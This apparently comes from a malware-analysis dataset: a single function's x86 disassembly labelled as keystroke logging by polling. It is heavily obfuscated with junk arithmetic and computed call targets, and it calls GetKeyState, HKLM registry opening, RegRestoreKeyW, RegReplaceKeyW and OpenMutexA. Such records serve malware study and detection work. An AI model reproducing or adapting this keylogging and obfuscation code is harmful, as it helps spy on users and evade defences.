Function at 0x48b674
Capabilities:
Log keystrokes via polling

Disassembly:
add edi, ebx
xor edi, dword [0x623d71]
sub edi, ebx
push 0xd
push 0x7c
push 0x16
push 0x63
push 0x61
push 0x14
push 0x34
push 0x53
push 0xf
push 0x27
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0xb39
pop edx
inc edx
or edx, dword [0x60ce55]
jne 0x48b4f6
and edx, 0xff
shl edx, 1
mov esi, 0x2f9
add edx, esi
and edx, 0xfff
cmp edx, 0xf6c
jne 0x48b50b
mov esi, 0x9d
sub edx, esi
add edx, 0x57a
push edx
pop dword [0x60c9ba]
mov dword [0x60cb7e], edx
sub eax, 0x4e
call fcn.0048b4a0
xor edi, dword [0x622c0f]
sub edx, esi
sub ebx, 2
sub edx, edi
inc esi
push 0x6c
push 0xc
push 0x35
push 0x31
push 0x39
push 0x16
push 0x56
push 0x7f
push 0x34
push 0x65
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
mov edi, esi
mov eax, 0x100c
or edi, eax
or edi, 0xca8
je 0x48b577
mov eax, 0x21d1
or edi, eax
ror edi, 1
push edi
pop dword [0x60cc0d]
sub dword [0x60c409], edi
push eax
call 0x48b526
or esi, dword [0x618d69]
sub edi, 2
sub edi, 2
push 0x3a
push 0x39
push 0x68
push 2
push 0x6b
push 0x7d
push 0x1f
push 0x57
push 0xb
push 0x3b
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, 0
shr eax, 6
push eax
pop dword [0x60cea3]
mov dword [0x60c387], eax
leave
ret
mov esi, eax
lea edi, [0xb]
lea ecx, [0]
add edi, edx
push 0x19
push 0x61
push 0x43
push 0x4b
push 0x13
push 0x5c
push 8
push 0x14
push 0xd
push 0x41
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
xor eax, eax
dec eax
or eax, dword [0x60c446]
jne 0x48b62c
ror eax, 6
mov esi, 0x2118
xor esi, eax
shl eax, 4
add eax, dword [0x60d470]
test eax, 0x161f
je 0x48b64d
mov esi, 0x3c1
add eax, esi
mov edi, 0x1b9b
xor edi, eax
add eax, 0x798
mov edi, 0x1163
add eax, edi
push eax
pop dword [0x60c40d]
mov dword [0x60c3b8], eax
push eax
call 0x48b5dc
or edx, 0x68
inc esi
inc ebp
sub esi, ebx
dec ecx
inc edi
mov ebx, edi
or ecx, 0x2c
xor eax, eax
mov dword [0x60cc4e], 0
mov ecx, dword [0x60cc4e]
push ecx
call dword [sym.imp.USER32.DLL_GetKeyState]
mov dword [0x60d4a2], eax
mov dword [0x60c18c], 0
mov eax, dword [0x60c18c]
mov ebx, esi
shr ebx, 6
add ebx, 0x9fb
je 0x48b6b8
mov eax, 0x148b
xor eax, ebx
shl ebx, 8
add ebx, dword [0x60d256]
test dword [0x60cb9f], ebx
jne 0x48b6cc
and ebx, 0xffffff
mov eax, 0x89a
add ebx, eax
add ebx, 0x8d2
jne 0x48b6e3
mov eax, 0xbb5
imul ebx, eax, 0x4b
mov dword [0x60cb87], ebx
mov edx, 0x27
sub edx, 0x5bfae775
jne 0x48c13e
mov dword [0x60d336], eax
mov eax, 0x14a
rol eax, 7
sub eax, 0xdd2
je 0x48b722
add eax, 0xbf
sub eax, dword [0x60c83f]
mov edi, 0x2be
imul eax, edi, 0x5a
dec eax
test eax, 0x49e
jne 0x48b740
mov ebx, 0x1dce
add eax, ebx
mov ebx, 0x1dc1
imul eax, ebx, 0x28
mov edi, 0x24f7
or eax, edi
sub dword [0x60d229], eax
mov edi, esi
add edi, 0x883
push edi
pop dword [0x60cb53]
sub dword [0x60cc32], edi
leave
ret
push ebp
mov ebp, esp
sub esp, 0x1c
push edi
push esi
push eax
push 0x60c6b4
push edi
call fcn.0048b1c6
test al, al
jne 0x48c15f
or ebx, 0x72
add esi, edi
add edi, esi
add eax, ebx
mov dword [ebp - 0x14], eax
push 0xb9d
pop esi
shl esi, 3
test dword [0x60c84b], esi
je 0x48c17a
mov ebx, 0x1303
xor ebx, esi
add dword [0x60c32d], esi
push 0
call dword [sym.imp.USER32.DLL_GetDC]
mov ebx, 0
sub ebx, dword [0x60cdc4]
test ebx, 0x43d
jne 0x48c1a2
mov edi, 0x21fd
sub ebx, edi
mov dword [ebp - 0x1c], ebx
mov eax, 0
mov esi, 0x1191
sub eax, esi
push eax
pop dword [0x60c68c]
mov dword [0x60c51e], eax
lea eax, [0x60c722]
push eax
push 0x643b
push edi
push 0x60c967
call fcn.0048b297
push 0
push 0xf003f
push 0
push 0
push 0x80000002
call dword [sym.imp.ADVAPI32.DLL_RegOpenKeyExA]
mov dword [ebp - 0x10], 0xd5
mov edi, dword [ebp - 0x10]
push edi
xor eax, eax
push eax
push 0x46
pop edx
push edx
mov dword [0x60c80a], 0
mov eax, dword [0x60c80a]
push eax
push 0
pop esi
push esi
mov dword [ebp - 0x1c], 0xc00
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [sym.imp.kernel32.dll_CompareStringW]
or eax, eax
jne 0x48b52c
lea eax, [0x60c056]
push eax
add edi, ebx
sub esi, edi
dec edi
lea eax, [0x60c5cb]
push eax
push dword [0x60d392]
lea eax, [0x60d456]
push eax
push 0x60cd68
push eax
call fcn.0048b0cb
add eax, dword [0x60c49b]
push eax
pop dword [0x60c7e4]
mov dword [0x60c77c], eax
push 0
pop ecx
push ecx
call dword [sym.imp.USER32.DLL_UpdateWindow]
mov esi, 0x7c
inc ebx
lea eax, [0x60c5a8]
push eax
sub eax, 1
dec edi
push 0x2c9b
push dword [0x60cbb5]
push 0xe53a
push 0
call fcn.0048b170
mov ebx, 0x181
add eax, ebx
or eax, dword [0x60c223]
je 0x48c2b8
and eax, 0xfffff
mov dword [str.H_B_n_n_n_n], eax
push 0x60c570
push ebx
lea ecx, [ecx + 0xf]
inc esi
push 0x60c175
push dword [0x60c467]
push 0x3387
push esi
call fcn.0048b0cb
mov edi, 0x39e56b68
push edi
mov dword [ebp - 4], 0xe32c231
mov eax, dword [ebp - 4]
push eax
push 0x2cd863cf
pop edi
push edi
mov dword [ebp - 0x14], 0
mov edi, dword [ebp - 0x14]
push edi
mov dword [0x60c540], 0
mov ecx, dword [0x60c540]
push ecx
call dword [sym.imp.shell32.dll_SHGetDataFromIDListA]
or eax, eax
je 0x48b4a8
mov dword [ebp - 8], 0
mov edi, dword [ebp - 8]
push edi
mov dword [ebp - 0xc], 0x12
mov ebx, dword [ebp - 0xc]
push ebx
mov edi, 1
push edi
call dword [sym.imp.GDI32.DLL_GetObjectA]
or eax, eax
jne 0x48b598
xor edx, edx
push edx
mov ebx, 3
mov esi, ebx
push esi
call dword [sym.imp.GDI32.DLL_GetBrushOrgEx]
or eax, eax
jne 0x48b52e
or edi, 0x30
dec esi
sub edi, 1
push 0x60c329
push 0
neg edi
or edi, 0x7d
push esi
push 0xc395
lea esi, [eax + 0x44]
setno al
push 0
push 0x60c866
call fcn.0048b0cb
mov eax, 0
mov esi, eax
push esi
mov esi, 0x7d
mov edi, esi
push edi
mov eax, 9
push eax
call dword [sym.imp.GDI32.DLL_GetObjectA]
or eax, eax
jne 0x48b5de
push 0xefa
pop edi
mov eax, 0x19b9
or edi, eax
sub edi, 0xbd8
je 0x48c3d1
shr edi, 1
mov dword [0x60d42b], edi
push 0x3530a0ad
pop edi
push edi
mov edx, 0x45698
mov ecx, edx
mov dword [0x60c405], 0x5c6be4
add ecx, dword [0x60c405]
push ecx
mov dword [ebp - 0x14], 0
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.ADVAPI32.DLL_RegRestoreKeyW]
or eax, eax
je 0x48b4a6
dec eax
push eax
add eax, 0x33e
test dword [ebp - 0x10], eax
je 0x48c431
sub eax, dword [0x60d18a]
mov ebx, 0x1ca
imul eax, ebx, 0x59
mov ebx, 0x2bb
add eax, ebx
mov ebx, 0xc1
imul eax, ebx, 0x18
cmp eax, 0x213
je 0x48c446
sub eax, dword [0x60cdfc]
pop dword [0x60c2e8]
mov dword [ebp - 0x10], eax
push 0x45926
pop eax
mov ebx, 0x5c734e
add eax, ebx
push eax
mov dword [ebp - 0x18], 0x56bc43
mov ecx, dword [ebp - 0x18]
mov dword [0x60cce4], 0xa063e
add ecx, dword [0x60cce4]
push ecx
mov esi, 0x4acc71
mov eax, esi
mov dword [ebp - 0x18], 0x15fe6c
add eax, dword [ebp - 0x18]
push eax
mov dword [0x60d24d], 0
mov ebx, dword [0x60d24d]
push ebx
call dword [sym.imp.ADVAPI32.DLL_RegReplaceKeyW]
or eax, eax
je 0x48b5dc
push dword [0x60cf0c]
call fcn.0048b00f
mov ebx, 0x181c
xor ebx, eax
or eax, dword [0x60cdb5]
je 0x48c4c6
inc eax
rol eax, 1
mov dword [ebp - 0xc], eax
mov edi, 0x38f00bd6
mov ebx, edi
push ebx
mov edi, 0x314d0fcb
mov ebx, edi
push ebx
mov ebx, 0x5445ba48
mov edx, ebx
push edx
mov edx, 0
push edx
xor esi, esi
push esi
call dword [sym.imp.shell32.dll_SHGetDataFromIDListA]
or eax, eax
je 0x48b5ea
mov edi, eax
shr edi, 3
push edi
mov ebx, 0x19c8
imul edi, ebx, 0x5a
sub edi, 0x160
jne 0x48c510
rol edi, 1
pop dword [0x60cd55]
mov dword [ebp - 0xc], edi
push 0
push esi
push 0x60d0ba
push 0xad95
push 0x2342
push 0x60c696
call fcn.0048b0cb
xor edi, edi
push edi
push 1
pop eax
push eax
call dword [sym.imp.GDI32.DLL_StartDocW]
inc eax
jne 0x48b58c
add eax, 0x983
or dword [ebp - 0x1c], eax
je 0x48c55d
add eax, 0x3dc
add dword [0x60cfb4], eax
mov dword [ebp - 0x1c], 0x67f44a02
mov edx, dword [ebp - 0x1c]
push edx
mov eax, 0x44cb997b
push eax
mov edx, 0x2f795dfa
mov ecx, edx
push ecx
mov dword [ebp - 0x14], 0
mov ecx, dword [ebp - 0x14]
push ecx
push 0
pop edi
push edi
call dword [sym.imp.shell32.dll_SHGetDataFromIDListA]
or eax, eax
je 0x48b52c
push dword [0x60cb58]
push dword [0x60c321]
push 0
push 0x5822
call fcn.0048b33c
mov dword [ebp - 0xc], eax
lea ecx, [edi + 0x94]
mov ecx, edi
push 0x60cb9c
cmp di, 0xe87b
jbe 0x48c5cd
mov esi, eax
sub esi, 2
dec ecx
dec eax
push 0x60d382
push 0
push dword [0x60d04e]
push 0x60ce91
lea eax, [0x60d153]
push eax
mov eax, 0x21e3a608
sub eax, 0x219ae91d
call eax
test eax, eax
je 0x48b534
mov ebx, eax
mov dword [ebp - 0x1c], 3
mov edi, dword [ebp - 0x1c]
push edi
call dword [sym.imp.USER32.DLL_GetDC]
or eax, eax
jne 0x48b58c
push 0x60c5fa
push 0x60c5bf
push esi
call fcn.0048b1c6
or al, al
je 0x48c639
lea ecx, [0x89]
cwde
mov esi, 0x1eb1
imul eax, esi, 0x39
or eax, 0xdfd
je 0x48c64f
inc eax
sub eax, 0x19
mov dword [0x60d03a], eax
push dword [0x60d200]
call fcn.0048b110
mov edi, 0xc83
add edi, dword [0x60cb29]
or dword [ebp - 0x18], edi
jne 0x48c678
rol edi, 3
sub edi, 0xf6
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x14], 0x48386420
mov edi, dword [ebp - 0x14]
push edi
mov dword [ebp - 0xc], 0x5e671643
mov eax, dword [ebp - 0xc]
push eax
mov edi, 0x2f9558a0
push edi
xor edx, edx
push edx
mov dword [ebp - 0x14], 0
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.shell32.dll_SHGetDataFromIDListA]
push 0
push dword [0x60c9b3]
push 0x8b9f
push 0x60d38b
push dword [0x60cadf]
push 0x84a5
call fcn.0048b0cb
mov dword [ebp - 0x1c], eax
sub eax, dword [0x60ca86]
cmp eax, 0xc20
je 0x48c6e4
add eax, dword [0x60c779]
dec eax
dec eax
or eax, 0x22a6
jne 0x48c6f9
mov edi, 0x1e74
imul eax, edi, 0x5b
and eax, 0xfffffff
shl eax, 5
add eax, 0xa9f
jne 0x48c713
mov esi, 0x1ca9
sub eax, esi
rol eax, 1
mov edi, 0x1112
or eax, edi
sub dword [0x60c7f6], eax
push 0x282
pop edi
rol edi, 1
test dword [ebp - 0x18], edi
je 0x48c730
ror edi, 5
dec edi
add edi, dword [0x60c849]
dec edi
or dword [ebp - 8], edi
je 0x48c744
add edi, dword [0x60d2e5]
mov esi, 0x21ba
xor esi, edi
inc edi
add edi, 0xefb
test dword [ebp - 0x18], edi
jne 0x48c754
ror edi, 1
shr edi, 4
add dword [0x60c11d], edi
push 0
pop eax
push eax
mov dword [ebp - 4], 0
mov esi, dword [ebp - 4]
push esi
xor edx, edx
push edx
call dword [sym.imp.kernel32.dll_OpenMutexA]
push dword [0x60c805]
push 0
push dword [0x60cff1]
mov dword [ebp - 0x14], ebx
mov ecx, 0xe6
push 0x60c591
push 0x26cc
call fcn.0048b170
push 0x8f3
pop edi
shr edi, 1
or edi, dword [0x60ced6]
je 0x48c7b4
shl edi, 1
add edi, 0xcd5
shl edi, 1
mov dword [0x60cf81], edi
shl eax, 4
test dword [ebp - 0xc], eax
jne 0x48c7cb
shr eax, 1
sub eax, dword [0x60ce0b]
inc eax
mov esi, 0x24c1
xor esi, eax
push eax
pop dword [0x60d45a]
sub dword [0x60d44e], eax
mov eax, 0xea
push edi
push dword [0x60ca52]
lea ecx, [eax + 5]
dec eax
push 0xb5d3
push 0x4c81
push 0x6d73
lea eax, [0x60c386]
push eax
call fcn.0048b0cb
push 0x60c768
lea eax, [0x60c626]
push eax
call fcn.0048b03c
mov dword [ebp - 0xc], eax
lea eax, [ebp + 0x85]
mov edi, 0xd34
add eax, edi
test dword [0x60c63f], eax
je 0x48c839
rol eax, 7
mov dword [0x60c261], eax
push 0x9e6
pop ecx
add ecx, 0x735
push ecx
mov esi, 0x9cf
add ecx, esi
push ecx
pop dword [0x60c552]
pop dword [0x60c3df]
sub dword [0x60c024], ecx
push ebx
push 0x27dc
push 0x60c871
mov edx, 0x2797a0
add edx, 0x212009
call edx
push esi
push edi
mov edx, 0xc47
shl edx, 5
test dword [0x60c23b], edx
je 0x48c897
rol edx, 1
add edx, dword [0x60d2ae]
and edx, 0xff
push edx
pop dword [0x60d2c5]
mov dword [ebp - 4], edx
push 0
add eax, 1
push 0x60c237
push ebx
call fcn.0048b1c6
mov ecx, 0
mov edi, 0xeba
add ecx, edi
or ecx, 0x99f
jne 0x48c8e3
mov eax, 0xee7
xor eax, ecx
mov edi, 0x16a
add ecx, edi
mov eax, 0x796
xor eax, ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x10], esi
inc ebx
push ebx
push dword [0x60c84a]
call fcn.0048b03c
or al, al
jne 0x48c902
mov esi, eax
mov ebx, 0x7b
dec eax
push 0x60c51f
xor esi, ebp
sub edi, esi
dec edi
push 0xdf24
sub edi, esi
mov dword [ebp - 0x1c], edi
push 0
call fcn.0048b22e
or al, al
je 0x48c929
mov ecx, 0xc6
or ecx, 0x18
mov dword [ebp - 0x18], eax
lea ecx, [ebp + 0x8d]
sub ecx, 0x35f
push ecx
pop dword [0x60c3fa]
sub dword [0x60c689], ecx
push 0
push esi
push dword [0x60c85f]
lea eax, [0x60d213]
push eax
push edi
call fcn.0048b170
mov eax, ebx
rol eax, 7
or dword [ebp - 0x1c], eax
je 0x48c96f
rol eax, 1
mov edi, 0xa33
add eax, edi
dec eax
shl eax, 6
push eax
pop dword [0x60c848]
sub dword [0x60c460], eax
xor ecx, ecx
and ecx, 0xf
test dword [0x60ca35], ecx
je 0x48c9a4
mov esi, 0x6c7
or ecx, esi
sub ecx, dword [0x60c4b1]
mov ebx, 0x112d
imul ecx, ebx, 0x21
mov dword [0x60c3de], ecx
ret